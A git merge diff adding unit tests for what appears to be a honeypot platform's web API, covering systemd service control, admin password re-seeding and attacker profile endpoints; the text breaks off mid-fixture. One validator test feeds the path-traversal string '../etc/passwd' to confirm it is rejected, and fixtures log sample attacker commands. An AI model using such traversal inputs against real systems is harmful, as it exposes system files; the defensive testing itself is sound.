merge: testing → main (reconcile 2-week divergence)
This commit is contained in:
0
tests/web/__init__.py
Normal file
0
tests/web/__init__.py
Normal file
0
tests/web/services/__init__.py
Normal file
0
tests/web/services/__init__.py
Normal file
133
tests/web/services/test_systemd_control.py
Normal file
133
tests/web/services/test_systemd_control.py
Normal file
@@ -0,0 +1,133 @@
|
||||
"""Unit tests for :mod:`decnet.web.services.systemd_control`.
|
||||
|
||||
These tests monkeypatch :func:`asyncio.create_subprocess_exec` so we
|
||||
never touch real ``systemctl``. The contract under test is:
|
||||
|
||||
* argv shape — ``["systemctl", <verb>, "decnet-<name>.service"]``
|
||||
* non-zero return ⇒ :class:`SystemctlError` with returncode + stderr
|
||||
* ``list_installed`` parses ``list-unit-files`` output into a name set
|
||||
* cache honours the 30s TTL
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
from typing import Any, List, Tuple
|
||||
|
||||
import pytest
|
||||
|
||||
from decnet.web.services import systemd_control as sc
|
||||
|
||||
|
||||
class _FakeProc:
|
||||
def __init__(self, returncode: int, stdout: bytes, stderr: bytes) -> None:
|
||||
self.returncode = returncode
|
||||
self._stdout = stdout
|
||||
self._stderr = stderr
|
||||
|
||||
async def communicate(self) -> Tuple[bytes, bytes]:
|
||||
return self._stdout, self._stderr
|
||||
|
||||
|
||||
def _patch_exec(monkeypatch: Any, *, rc: int = 0, stdout: bytes = b"", stderr: bytes = b"") -> List[tuple]:
|
||||
calls: List[tuple] = []
|
||||
|
||||
async def fake_exec(*argv: str, **_kwargs: Any) -> _FakeProc:
|
||||
calls.append(argv)
|
||||
return _FakeProc(rc, stdout, stderr)
|
||||
|
||||
monkeypatch.setattr(asyncio, "create_subprocess_exec", fake_exec)
|
||||
return calls
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _reset_cache() -> None:
|
||||
sc.reset_cache_for_tests()
|
||||
yield
|
||||
sc.reset_cache_for_tests()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_start_builds_correct_argv(monkeypatch: Any) -> None:
|
||||
calls = _patch_exec(monkeypatch, rc=0)
|
||||
await sc.start("mutator")
|
||||
assert calls == [("systemctl", "start", "decnet-mutator.service")]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_stop_builds_correct_argv(monkeypatch: Any) -> None:
|
||||
calls = _patch_exec(monkeypatch, rc=0)
|
||||
await sc.stop("sniffer")
|
||||
assert calls == [("systemctl", "stop", "decnet-sniffer.service")]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_start_raises_systemctl_error_on_nonzero(monkeypatch: Any) -> None:
|
||||
_patch_exec(monkeypatch, rc=5, stderr=b"Unit decnet-mutator.service not found.\n")
|
||||
with pytest.raises(sc.SystemctlError) as exc_info:
|
||||
await sc.start("mutator")
|
||||
err = exc_info.value
|
||||
assert err.returncode == 5
|
||||
assert err.unit == "decnet-mutator.service"
|
||||
assert "not found" in err.stderr
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_is_active_true_when_stdout_active(monkeypatch: Any) -> None:
|
||||
_patch_exec(monkeypatch, rc=0, stdout=b"active\n")
|
||||
assert await sc.is_active("bus") is True
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_is_active_false_when_inactive(monkeypatch: Any) -> None:
|
||||
# systemctl exits 3 for "inactive" — is_active must treat that as a
|
||||
# signal, not an error.
|
||||
_patch_exec(monkeypatch, rc=3, stdout=b"inactive\n")
|
||||
assert await sc.is_active("bus") is False
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_list_installed_parses_unit_files(monkeypatch: Any) -> None:
|
||||
stdout = (
|
||||
b"decnet-bus.service enabled enabled\n"
|
||||
b"decnet-api.service enabled enabled\n"
|
||||
b"decnet-mutator.service disabled enabled\n"
|
||||
)
|
||||
_patch_exec(monkeypatch, rc=0, stdout=stdout)
|
||||
names = await sc.list_installed()
|
||||
assert names == {"bus", "api", "mutator"}
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_list_installed_returns_empty_on_failure(monkeypatch: Any) -> None:
|
||||
_patch_exec(monkeypatch, rc=1, stderr=b"systemctl: command not found\n")
|
||||
names = await sc.list_installed()
|
||||
assert names == set()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_list_installed_is_cached(monkeypatch: Any) -> None:
|
||||
stdout = b"decnet-bus.service enabled enabled\n"
|
||||
calls = _patch_exec(monkeypatch, rc=0, stdout=stdout)
|
||||
await sc.list_installed()
|
||||
await sc.list_installed()
|
||||
await sc.list_installed()
|
||||
# Three logical calls, one real subprocess invocation.
|
||||
assert len(calls) == 1
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_list_installed_force_bypasses_cache(monkeypatch: Any) -> None:
|
||||
stdout = b"decnet-bus.service enabled enabled\n"
|
||||
calls = _patch_exec(monkeypatch, rc=0, stdout=stdout)
|
||||
await sc.list_installed()
|
||||
await sc.list_installed(force=True)
|
||||
assert len(calls) == 2
|
||||
|
||||
|
||||
def test_invalid_worker_name_rejected() -> None:
|
||||
with pytest.raises(ValueError):
|
||||
sc._unit("../etc/passwd")
|
||||
with pytest.raises(ValueError):
|
||||
sc._unit("bus.service")
|
||||
with pytest.raises(ValueError):
|
||||
sc._unit("")
|
||||
66
tests/web/test_admin_seed.py
Normal file
66
tests/web/test_admin_seed.py
Normal file
@@ -0,0 +1,66 @@
|
||||
"""
|
||||
Tests for _ensure_admin_user env-drift self-healing.
|
||||
|
||||
Scenario: DECNET_ADMIN_PASSWORD changes between runs while the SQLite DB
|
||||
persists on disk. Previously _ensure_admin_user was strictly insert-if-missing,
|
||||
so the stale hash from the first seed locked out every subsequent login.
|
||||
|
||||
Contract: if the admin still has must_change_password=True (they never
|
||||
finalized their own password), the stored hash re-syncs from the env.
|
||||
Once the admin picks a real password, we never touch it.
|
||||
"""
|
||||
import pytest
|
||||
|
||||
from decnet.web.auth import verify_password
|
||||
from decnet.web.db.sqlite.repository import SQLiteRepository
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_admin_seeded_on_empty_db(tmp_path, monkeypatch):
|
||||
monkeypatch.setattr("decnet.web.db.sqlmodel_repo.DECNET_ADMIN_PASSWORD", "first")
|
||||
repo = SQLiteRepository(db_path=str(tmp_path / "t.db"))
|
||||
await repo.initialize()
|
||||
user = await repo.get_user_by_username("admin")
|
||||
assert user is not None
|
||||
assert verify_password("first", user["password_hash"])
|
||||
assert user["must_change_password"] is True or user["must_change_password"] == 1
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_admin_password_resyncs_when_not_finalized(tmp_path, monkeypatch):
|
||||
db = str(tmp_path / "t.db")
|
||||
|
||||
monkeypatch.setattr("decnet.web.db.sqlmodel_repo.DECNET_ADMIN_PASSWORD", "first")
|
||||
r1 = SQLiteRepository(db_path=db)
|
||||
await r1.initialize()
|
||||
|
||||
monkeypatch.setattr("decnet.web.db.sqlmodel_repo.DECNET_ADMIN_PASSWORD", "second")
|
||||
r2 = SQLiteRepository(db_path=db)
|
||||
await r2.initialize()
|
||||
|
||||
user = await r2.get_user_by_username("admin")
|
||||
assert verify_password("second", user["password_hash"])
|
||||
assert not verify_password("first", user["password_hash"])
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_finalized_admin_password_is_preserved(tmp_path, monkeypatch):
|
||||
db = str(tmp_path / "t.db")
|
||||
|
||||
monkeypatch.setattr("decnet.web.db.sqlmodel_repo.DECNET_ADMIN_PASSWORD", "seed")
|
||||
r1 = SQLiteRepository(db_path=db)
|
||||
await r1.initialize()
|
||||
admin = await r1.get_user_by_username("admin")
|
||||
# Simulate the admin finalising their password via the change-password flow.
|
||||
from decnet.web.auth import get_password_hash
|
||||
await r1.update_user_password(
|
||||
admin["uuid"], get_password_hash("chosen"), must_change_password=False
|
||||
)
|
||||
|
||||
monkeypatch.setattr("decnet.web.db.sqlmodel_repo.DECNET_ADMIN_PASSWORD", "different")
|
||||
r2 = SQLiteRepository(db_path=db)
|
||||
await r2.initialize()
|
||||
|
||||
user = await r2.get_user_by_username("admin")
|
||||
assert verify_password("chosen", user["password_hash"])
|
||||
assert not verify_password("different", user["password_hash"])
|
||||
54
tests/web/test_api_attacker_intel.py
Normal file
54
tests/web/test_api_attacker_intel.py
Normal file
@@ -0,0 +1,54 @@
|
||||
"""Tests for GET /api/v1/attackers/{uuid}/intel."""
|
||||
from __future__ import annotations
|
||||
|
||||
from unittest.mock import AsyncMock, patch
|
||||
|
||||
import pytest
|
||||
from fastapi import HTTPException
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_returns_cached_intel_row():
|
||||
from decnet.web.router.attackers.api_get_attacker_intel import (
|
||||
get_attacker_intel,
|
||||
)
|
||||
|
||||
fake_row = {
|
||||
"attacker_uuid": "att-uuid-xyz",
|
||||
"attacker_ip": "1.2.3.4",
|
||||
"aggregate_verdict": "malicious",
|
||||
"greynoise_classification": "malicious",
|
||||
"abuseipdb_score": 92,
|
||||
"feodo_listed": True,
|
||||
"threatfox_listed": False,
|
||||
}
|
||||
with patch(
|
||||
"decnet.web.router.attackers.api_get_attacker_intel.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.get_attacker_intel_by_uuid = AsyncMock(return_value=fake_row)
|
||||
result = await get_attacker_intel(
|
||||
uuid="att-uuid-xyz",
|
||||
user={"uuid": "viewer", "role": "viewer"},
|
||||
)
|
||||
assert result["attacker_uuid"] == "att-uuid-xyz"
|
||||
assert result["aggregate_verdict"] == "malicious"
|
||||
assert result["abuseipdb_score"] == 92
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_404_when_no_row_cached():
|
||||
from decnet.web.router.attackers.api_get_attacker_intel import (
|
||||
get_attacker_intel,
|
||||
)
|
||||
|
||||
with patch(
|
||||
"decnet.web.router.attackers.api_get_attacker_intel.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.get_attacker_intel_by_uuid = AsyncMock(return_value=None)
|
||||
with pytest.raises(HTTPException) as excinfo:
|
||||
await get_attacker_intel(
|
||||
uuid="missing-uuid",
|
||||
user={"uuid": "viewer", "role": "viewer"},
|
||||
)
|
||||
assert excinfo.value.status_code == 404
|
||||
assert "No intel cached" in excinfo.value.detail
|
||||
638
tests/web/test_api_attackers.py
Normal file
638
tests/web/test_api_attackers.py
Normal file
@@ -0,0 +1,638 @@
|
||||
"""
|
||||
Tests for the attacker profile API routes.
|
||||
|
||||
Covers:
|
||||
- GET /attackers: paginated list, search, sort_by
|
||||
- GET /attackers/{uuid}: single profile detail, 404 on missing UUID
|
||||
- Auth enforcement on both endpoints
|
||||
"""
|
||||
|
||||
import json
|
||||
from datetime import datetime, timezone
|
||||
from unittest.mock import AsyncMock, MagicMock, patch
|
||||
|
||||
import pytest
|
||||
from fastapi import HTTPException
|
||||
|
||||
from decnet.web.auth import create_access_token
|
||||
from decnet.web.router.attackers.api_get_attackers import _reset_total_cache
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _reset_attackers_cache():
|
||||
_reset_total_cache()
|
||||
yield
|
||||
_reset_total_cache()
|
||||
|
||||
|
||||
# ─── Helpers ──────────────────────────────────────────────────────────────────
|
||||
|
||||
def _auth_request(uuid: str = "test-user-uuid") -> MagicMock:
|
||||
token = create_access_token({"uuid": uuid})
|
||||
req = MagicMock()
|
||||
req.headers = {"Authorization": f"Bearer {token}"}
|
||||
return req
|
||||
|
||||
|
||||
def _sample_attacker(uuid: str = "att-uuid-1", ip: str = "1.2.3.4") -> dict:
|
||||
return {
|
||||
"uuid": uuid,
|
||||
"ip": ip,
|
||||
"first_seen": datetime(2026, 4, 1, tzinfo=timezone.utc).isoformat(),
|
||||
"last_seen": datetime(2026, 4, 10, tzinfo=timezone.utc).isoformat(),
|
||||
"event_count": 42,
|
||||
"service_count": 3,
|
||||
"decky_count": 2,
|
||||
"services": ["ssh", "http", "ftp"],
|
||||
"deckies": ["decky-01", "decky-02"],
|
||||
"traversal_path": "decky-01 → decky-02",
|
||||
"is_traversal": True,
|
||||
"bounty_count": 5,
|
||||
"credential_count": 2,
|
||||
"fingerprints": [{"type": "ja3", "hash": "abc"}],
|
||||
"commands": [{"service": "ssh", "decky": "decky-01", "command": "id", "timestamp": "2026-04-01T10:00:00"}],
|
||||
"updated_at": datetime(2026, 4, 10, tzinfo=timezone.utc).isoformat(),
|
||||
}
|
||||
|
||||
|
||||
# ─── GET /attackers ──────────────────────────────────────────────────────────
|
||||
|
||||
class TestGetAttackers:
|
||||
@pytest.mark.asyncio
|
||||
async def test_returns_paginated_response(self):
|
||||
from decnet.web.router.attackers.api_get_attackers import get_attackers
|
||||
|
||||
sample = _sample_attacker()
|
||||
with patch("decnet.web.router.attackers.api_get_attackers.repo") as mock_repo:
|
||||
mock_repo.get_attackers = AsyncMock(return_value=[sample])
|
||||
mock_repo.get_total_attackers = AsyncMock(return_value=1)
|
||||
mock_repo.get_behaviors_for_ips = AsyncMock(return_value={})
|
||||
|
||||
result = await get_attackers(
|
||||
limit=50, offset=0, search=None, sort_by="recent",
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
assert result["total"] == 1
|
||||
assert result["limit"] == 50
|
||||
assert result["offset"] == 0
|
||||
assert len(result["data"]) == 1
|
||||
assert result["data"][0]["uuid"] == "att-uuid-1"
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_search_parameter_forwarded(self):
|
||||
from decnet.web.router.attackers.api_get_attackers import get_attackers
|
||||
|
||||
with patch("decnet.web.router.attackers.api_get_attackers.repo") as mock_repo:
|
||||
mock_repo.get_attackers = AsyncMock(return_value=[])
|
||||
mock_repo.get_total_attackers = AsyncMock(return_value=0)
|
||||
mock_repo.get_behaviors_for_ips = AsyncMock(return_value={})
|
||||
|
||||
await get_attackers(
|
||||
limit=50, offset=0, search="192.168", sort_by="recent",
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
mock_repo.get_attackers.assert_awaited_once_with(
|
||||
limit=50, offset=0, search="192.168", sort_by="recent", service=None,
|
||||
)
|
||||
mock_repo.get_total_attackers.assert_awaited_once_with(search="192.168", service=None)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_null_search_normalized(self):
|
||||
from decnet.web.router.attackers.api_get_attackers import get_attackers
|
||||
|
||||
with patch("decnet.web.router.attackers.api_get_attackers.repo") as mock_repo:
|
||||
mock_repo.get_attackers = AsyncMock(return_value=[])
|
||||
mock_repo.get_total_attackers = AsyncMock(return_value=0)
|
||||
mock_repo.get_behaviors_for_ips = AsyncMock(return_value={})
|
||||
|
||||
await get_attackers(
|
||||
limit=50, offset=0, search="null", sort_by="recent",
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
mock_repo.get_attackers.assert_awaited_once_with(
|
||||
limit=50, offset=0, search=None, sort_by="recent", service=None,
|
||||
)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_sort_by_active(self):
|
||||
from decnet.web.router.attackers.api_get_attackers import get_attackers
|
||||
|
||||
with patch("decnet.web.router.attackers.api_get_attackers.repo") as mock_repo:
|
||||
mock_repo.get_attackers = AsyncMock(return_value=[])
|
||||
mock_repo.get_total_attackers = AsyncMock(return_value=0)
|
||||
mock_repo.get_behaviors_for_ips = AsyncMock(return_value={})
|
||||
|
||||
await get_attackers(
|
||||
limit=50, offset=0, search=None, sort_by="active",
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
mock_repo.get_attackers.assert_awaited_once_with(
|
||||
limit=50, offset=0, search=None, sort_by="active", service=None,
|
||||
)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_empty_search_normalized_to_none(self):
|
||||
from decnet.web.router.attackers.api_get_attackers import get_attackers
|
||||
|
||||
with patch("decnet.web.router.attackers.api_get_attackers.repo") as mock_repo:
|
||||
mock_repo.get_attackers = AsyncMock(return_value=[])
|
||||
mock_repo.get_total_attackers = AsyncMock(return_value=0)
|
||||
mock_repo.get_behaviors_for_ips = AsyncMock(return_value={})
|
||||
|
||||
await get_attackers(
|
||||
limit=50, offset=0, search="", sort_by="recent",
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
mock_repo.get_attackers.assert_awaited_once_with(
|
||||
limit=50, offset=0, search=None, sort_by="recent", service=None,
|
||||
)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_service_filter_forwarded(self):
|
||||
from decnet.web.router.attackers.api_get_attackers import get_attackers
|
||||
|
||||
with patch("decnet.web.router.attackers.api_get_attackers.repo") as mock_repo:
|
||||
mock_repo.get_attackers = AsyncMock(return_value=[])
|
||||
mock_repo.get_total_attackers = AsyncMock(return_value=0)
|
||||
mock_repo.get_behaviors_for_ips = AsyncMock(return_value={})
|
||||
|
||||
await get_attackers(
|
||||
limit=50, offset=0, search=None, sort_by="recent",
|
||||
service="https", user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
mock_repo.get_attackers.assert_awaited_once_with(
|
||||
limit=50, offset=0, search=None, sort_by="recent", service="https",
|
||||
)
|
||||
mock_repo.get_total_attackers.assert_awaited_once_with(search=None, service="https")
|
||||
|
||||
|
||||
# ─── GET /attackers/{uuid} ───────────────────────────────────────────────────
|
||||
|
||||
class TestGetAttackerDetail:
|
||||
@pytest.mark.asyncio
|
||||
async def test_returns_attacker_by_uuid(self):
|
||||
from decnet.web.router.attackers.api_get_attacker_detail import get_attacker_detail
|
||||
|
||||
sample = _sample_attacker()
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_detail.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
|
||||
mock_repo.get_attacker_behavior = AsyncMock(return_value=None)
|
||||
mock_repo.get_attacker_service_activity = AsyncMock(return_value=[])
|
||||
mock_repo.get_attacker_ip_leaks = AsyncMock(return_value=[])
|
||||
mock_repo.count_attacker_ip_leaks = AsyncMock(return_value=0)
|
||||
|
||||
result = await get_attacker_detail(uuid="att-uuid-1", user={"uuid": "test-user", "role": "viewer"})
|
||||
|
||||
assert result["uuid"] == "att-uuid-1"
|
||||
assert result["ip"] == "1.2.3.4"
|
||||
assert result["is_traversal"] is True
|
||||
assert isinstance(result["commands"], list)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_404_on_unknown_uuid(self):
|
||||
from decnet.web.router.attackers.api_get_attacker_detail import get_attacker_detail
|
||||
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_detail.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=None)
|
||||
|
||||
with pytest.raises(HTTPException) as exc_info:
|
||||
await get_attacker_detail(uuid="nonexistent", user={"uuid": "test-user", "role": "viewer"})
|
||||
|
||||
assert exc_info.value.status_code == 404
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_deserialized_json_fields(self):
|
||||
from decnet.web.router.attackers.api_get_attacker_detail import get_attacker_detail
|
||||
|
||||
sample = _sample_attacker()
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_detail.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
|
||||
mock_repo.get_attacker_behavior = AsyncMock(return_value=None)
|
||||
mock_repo.get_attacker_service_activity = AsyncMock(return_value=[])
|
||||
mock_repo.get_attacker_ip_leaks = AsyncMock(return_value=[])
|
||||
mock_repo.count_attacker_ip_leaks = AsyncMock(return_value=0)
|
||||
|
||||
result = await get_attacker_detail(uuid="att-uuid-1", user={"uuid": "test-user", "role": "viewer"})
|
||||
|
||||
assert isinstance(result["services"], list)
|
||||
assert isinstance(result["deckies"], list)
|
||||
assert isinstance(result["fingerprints"], list)
|
||||
assert isinstance(result["commands"], list)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_service_activity_splits_scanned_vs_interacted(self):
|
||||
"""Attacker detail response buckets services by event-type signal."""
|
||||
from decnet.web.router.attackers.api_get_attacker_detail import get_attacker_detail
|
||||
|
||||
sample = _sample_attacker()
|
||||
pairs = [
|
||||
("ssh", "connection"),
|
||||
("ssh", "shell_input"), # promotes ssh to interacted
|
||||
("http", "get_request"), # scan only
|
||||
("ftp", "retr"), # interacted
|
||||
("bus", "startup"), # noise — dropped
|
||||
]
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_detail.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
|
||||
mock_repo.get_attacker_behavior = AsyncMock(return_value=None)
|
||||
mock_repo.get_attacker_service_activity = AsyncMock(return_value=pairs)
|
||||
mock_repo.get_attacker_ip_leaks = AsyncMock(return_value=[])
|
||||
mock_repo.count_attacker_ip_leaks = AsyncMock(return_value=0)
|
||||
|
||||
result = await get_attacker_detail(
|
||||
uuid="att-uuid-1",
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
assert result["service_activity"] == {
|
||||
"interacted": ["ftp", "ssh"],
|
||||
"scanned": ["http"],
|
||||
}
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_ip_leaks_included_in_response(self):
|
||||
"""Attacker detail surfaces ip_leak bounty rows for the UI."""
|
||||
from decnet.web.router.attackers.api_get_attacker_detail import get_attacker_detail
|
||||
|
||||
sample = _sample_attacker()
|
||||
leaks = [
|
||||
{
|
||||
"timestamp": "2026-04-24T12:00:00+00:00",
|
||||
"decky": "http-01",
|
||||
"service": "http",
|
||||
"bounty_type": "ip_leak",
|
||||
"payload": {
|
||||
"source_ip": "203.0.113.42",
|
||||
"real_ip_claim": "198.51.100.7",
|
||||
"source_header": "X-Forwarded-For",
|
||||
"headers_seen": {
|
||||
"X-Forwarded-For": "198.51.100.7",
|
||||
},
|
||||
},
|
||||
},
|
||||
]
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_detail.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
|
||||
mock_repo.get_attacker_behavior = AsyncMock(return_value=None)
|
||||
mock_repo.get_attacker_service_activity = AsyncMock(return_value=[])
|
||||
mock_repo.get_attacker_ip_leaks = AsyncMock(return_value=leaks)
|
||||
mock_repo.count_attacker_ip_leaks = AsyncMock(return_value=1)
|
||||
|
||||
result = await get_attacker_detail(
|
||||
uuid="att-uuid-1",
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
assert result["ip_leaks"] == leaks
|
||||
assert result["ip_leaks"][0]["payload"]["real_ip_claim"] == "198.51.100.7"
|
||||
assert result["ip_leaks_total"] == 1
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_ip_leaks_total_reported_separately_from_list(self):
|
||||
"""Rotation attack: DB has 100 ip_leak rows, endpoint caps the
|
||||
returned list at 10 but reports the full count so the UI can
|
||||
render a ROTATION DETECTED badge."""
|
||||
from decnet.web.router.attackers.api_get_attacker_detail import get_attacker_detail
|
||||
|
||||
sample = _sample_attacker()
|
||||
# Caller already limited; we just assert the shape of the response.
|
||||
first_ten = [
|
||||
{
|
||||
"timestamp": "2026-04-24T12:00:00+00:00",
|
||||
"decky": "http-01",
|
||||
"service": "http",
|
||||
"bounty_type": "ip_leak",
|
||||
"payload": {
|
||||
"source_ip": "203.0.113.42",
|
||||
"real_ip_claim": f"198.51.100.{i}",
|
||||
"source_header": "X-Forwarded-For",
|
||||
"headers_seen": {},
|
||||
},
|
||||
}
|
||||
for i in range(1, 11)
|
||||
]
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_detail.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
|
||||
mock_repo.get_attacker_behavior = AsyncMock(return_value=None)
|
||||
mock_repo.get_attacker_service_activity = AsyncMock(return_value=[])
|
||||
mock_repo.get_attacker_ip_leaks = AsyncMock(return_value=first_ten)
|
||||
mock_repo.count_attacker_ip_leaks = AsyncMock(return_value=100)
|
||||
|
||||
result = await get_attacker_detail(
|
||||
uuid="att-uuid-1",
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
assert len(result["ip_leaks"]) == 10
|
||||
assert result["ip_leaks_total"] == 100
|
||||
|
||||
|
||||
# ─── GET /attackers/{uuid}/commands ──────────────────────────────────────────
|
||||
|
||||
class TestGetAttackerCommands:
|
||||
@pytest.mark.asyncio
|
||||
async def test_returns_paginated_commands(self):
|
||||
from decnet.web.router.attackers.api_get_attacker_commands import get_attacker_commands
|
||||
|
||||
sample = _sample_attacker()
|
||||
cmds = [
|
||||
{"service": "ssh", "decky": "decky-01", "command": "id", "timestamp": "2026-04-01T10:00:00"},
|
||||
{"service": "ssh", "decky": "decky-01", "command": "whoami", "timestamp": "2026-04-01T10:01:00"},
|
||||
]
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_commands.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
|
||||
mock_repo.get_attacker_commands = AsyncMock(return_value={"total": 2, "data": cmds})
|
||||
|
||||
result = await get_attacker_commands(
|
||||
uuid="att-uuid-1", limit=50, offset=0, service=None,
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
assert result["total"] == 2
|
||||
assert len(result["data"]) == 2
|
||||
assert result["limit"] == 50
|
||||
assert result["offset"] == 0
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_service_filter_forwarded(self):
|
||||
from decnet.web.router.attackers.api_get_attacker_commands import get_attacker_commands
|
||||
|
||||
sample = _sample_attacker()
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_commands.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
|
||||
mock_repo.get_attacker_commands = AsyncMock(return_value={"total": 0, "data": []})
|
||||
|
||||
await get_attacker_commands(
|
||||
uuid="att-uuid-1", limit=50, offset=0, service="ssh",
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
mock_repo.get_attacker_commands.assert_awaited_once_with(
|
||||
uuid="att-uuid-1", limit=50, offset=0, service="ssh",
|
||||
)
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_404_on_unknown_uuid(self):
|
||||
from decnet.web.router.attackers.api_get_attacker_commands import get_attacker_commands
|
||||
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_commands.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=None)
|
||||
|
||||
with pytest.raises(HTTPException) as exc_info:
|
||||
await get_attacker_commands(
|
||||
uuid="nonexistent", limit=50, offset=0, service=None,
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
assert exc_info.value.status_code == 404
|
||||
|
||||
|
||||
# ─── GET /attackers/{uuid}/artifacts ─────────────────────────────────────────
|
||||
|
||||
class TestGetAttackerArtifacts:
|
||||
@pytest.mark.asyncio
|
||||
async def test_returns_artifacts(self):
|
||||
from decnet.web.router.attackers.api_get_attacker_artifacts import get_attacker_artifacts
|
||||
|
||||
sample = _sample_attacker()
|
||||
rows = [
|
||||
{
|
||||
"id": 1,
|
||||
"timestamp": "2026-04-18T02:22:56+00:00",
|
||||
"decky": "decky-01",
|
||||
"service": "ssh",
|
||||
"event_type": "file_captured",
|
||||
"attacker_ip": "1.2.3.4",
|
||||
"raw_line": "",
|
||||
"msg": "",
|
||||
"fields": json.dumps({
|
||||
"stored_as": "2026-04-18T02:22:56Z_abc123def456_drop.bin",
|
||||
"sha256": "deadbeef" * 8,
|
||||
"size": "4096",
|
||||
"orig_path": "/root/drop.bin",
|
||||
}),
|
||||
},
|
||||
]
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_artifacts.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
|
||||
mock_repo.get_attacker_artifacts = AsyncMock(return_value=rows)
|
||||
|
||||
result = await get_attacker_artifacts(
|
||||
uuid="att-uuid-1",
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
assert result["total"] == 1
|
||||
assert result["data"][0]["decky"] == "decky-01"
|
||||
mock_repo.get_attacker_artifacts.assert_awaited_once_with("att-uuid-1")
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_404_on_unknown_uuid(self):
|
||||
from decnet.web.router.attackers.api_get_attacker_artifacts import get_attacker_artifacts
|
||||
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_artifacts.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=None)
|
||||
|
||||
with pytest.raises(HTTPException) as exc_info:
|
||||
await get_attacker_artifacts(
|
||||
uuid="nonexistent",
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
assert exc_info.value.status_code == 404
|
||||
|
||||
|
||||
# ─── GET /attackers/{uuid}/transcripts ───────────────────────────────────────
|
||||
|
||||
class TestGetAttackerTranscripts:
|
||||
@pytest.mark.asyncio
|
||||
async def test_returns_transcripts(self):
|
||||
from decnet.web.router.attackers.api_get_attacker_transcripts import get_attacker_transcripts
|
||||
|
||||
sample = _sample_attacker()
|
||||
rows = [
|
||||
{
|
||||
"id": 1,
|
||||
"timestamp": "2026-04-18T02:22:56+00:00",
|
||||
"decky": "decky-01",
|
||||
"service": "ssh",
|
||||
"event_type": "session_recorded",
|
||||
"attacker_ip": "1.2.3.4",
|
||||
"raw_line": "",
|
||||
"msg": "",
|
||||
"fields": json.dumps({
|
||||
